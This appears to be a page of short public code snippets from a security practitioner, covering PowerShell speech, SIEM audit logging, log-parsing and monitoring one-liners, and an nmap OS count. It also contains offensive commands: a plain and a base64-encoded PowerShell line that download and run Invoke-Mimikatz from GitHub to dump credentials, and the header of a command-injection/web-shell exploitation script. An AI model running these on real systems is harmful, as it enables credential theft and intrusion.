gfoss

function say {
    param( [string]$comment = $_ )
    [Reflection.Assembly]::LoadWithPartialName('System.Speech') | Out-Null 
    $object = New-Object System.Speech.Synthesis.SpeechSynthesizer
    $object.SelectVoiceByHints('Female')
    $object.Speak("$comment")
}

gfoss

*NOTE - These pull from public GitHub Repos that are not under my control. Make sure you trust the content (or better yet, make your own fork) prior to using!*

#mimikatz [local]
IEX (New-Object Net.WebClient).DownloadString("https://raw.githubusercontent.com/BC-SECURITY/Empire/master/empire/server/data/module_source/credentials/Invoke-Mimikatz.ps1"); Invoke-Mimikatz -Command privilege::debug; Invoke-Mimikatz -DumpCreds;

#encoded-mimikatz [local]
powershell -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AQgBDAC0AUwBFAEMAVQBSAEkAVABZAC8ARQBtAHAAaQByAGUALwBtAGEAcwB0AGUAcgAvAGUAbQBwAGkAcgBlAC8AcwBlAHIAdgBlAHIALwBkAGEAdABhAC8AbQBvAGQAdQBsAGUAXwBzAG8AdQByAGMAZQAvAGMAcgBlAGQAZQBuAHQAaQBhAGwAcwAvAEkAbgB2AG8AawBlAC0ATQBpAG0AaQBrAGEAdAB6AC4AcABzADEAIgApADsAIABJAG4AdgBvAGsAZQAtAE0AaQBtAGkAawBhAHQAegAgAC0AQwBvAG0AbQBhAG4AZAAgAHAAcgBpAHYAaQBsAGUAZwBl

gfoss

# PowerShell Audit Logging for LogRhythm SIEM - 2015
# For detecting dangerous PowerShell Commands/Functions

Log Source Type:
  MS Event Log for Win7/Win8/2008/2012 - PowerShell

Add this file to your PowerShell directory to enable verbose command line audit logging
profile.ps1
	$LogCommandHealthEvent = $true
	$LogCommandLifeCycleEvent = $true

gfoss

### Keybase proof

I hereby claim:

  * I am gfoss on github.
  * I am heinzarelli (https://keybase.io/heinzarelli) on keybase.
  * I have a public key whose fingerprint is 3DC9 DCF4 C0A3 7206 C45B  66FB C2DE DD96 D935 5D0E

To claim this, I am signing this object:

gfoss

#!/bin/bash
# 
# Command Injector v0.1
# greg.foss[at]owasp.org
# modified version of dirtshell by 'superkojiman' to exploit command injection vulnerabilities / access web shells via cli
# dirtshell.sh => http://blog.techorganic.com/2012/06/lets-kick-shell-ish-part-1-directory.html

function usage {
    echo "usage: -u URL"
    echo "eg   : -u \"http://site.com/index.php?cmd=\""

gfoss

#!/bin/bash
#
# Utilizing LaNMaSteR53's peepingtom.py script to auto-scrape web servers and send out notifications.
# Optimized for Kali Linux
# greg.foss[at]owasp.org
#
# cronjob to run this script once a week every Sunday at Midnight
# 0 0 * * 0 /usr/share/peepingtom/autopeep.sh

# prepare storage location, remove old data, and migrate existing folders

gfoss

$ sudo nmap -F -O [IP-RANGE] | grep "scan report\|Running: " > os.txt; echo "$(cat os.txt | grep Apple | wc -l) OS X devices"; echo "$(cat os.txt | grep Linux | wc -l) Linux devices"; echo "$(cat os.txt | grep Windows | wc -l) Windows devices"

gfoss

#search for invalid logon attempts, pull out IP, remove dupes, sort...
$ grep -rhi 'invalid' /var/log/auth.log* | awk '{print $10}' | uniq | sort > ~/ips.txt

#look em up
$ for i in `cat ~/ips.txt`; do @nslookup $i 2>/dev/null | grep Name | tail -n 1 | cut -d " " -f 3; done > ~/who.txt

# :-) #
$ do moar things...

gfoss

0 */1 * * * last -5 | grep -v '[user]\|wtmp\|reboot\|shutdown' && last -10 | grep -v '[user]\|wtmp\|reboot\|shutdown' >> ~/Desktop/ALERT && wall -g [group] ~/Desktop/ALERT

gfoss

$ while `nc -nn -vv -z -w3 [ip-address] [port] > /dev/null`; do echo "OK"; sleep 1; done; echo "DOWN"; while (true); do echo "***DOWN***"; sleep 5; done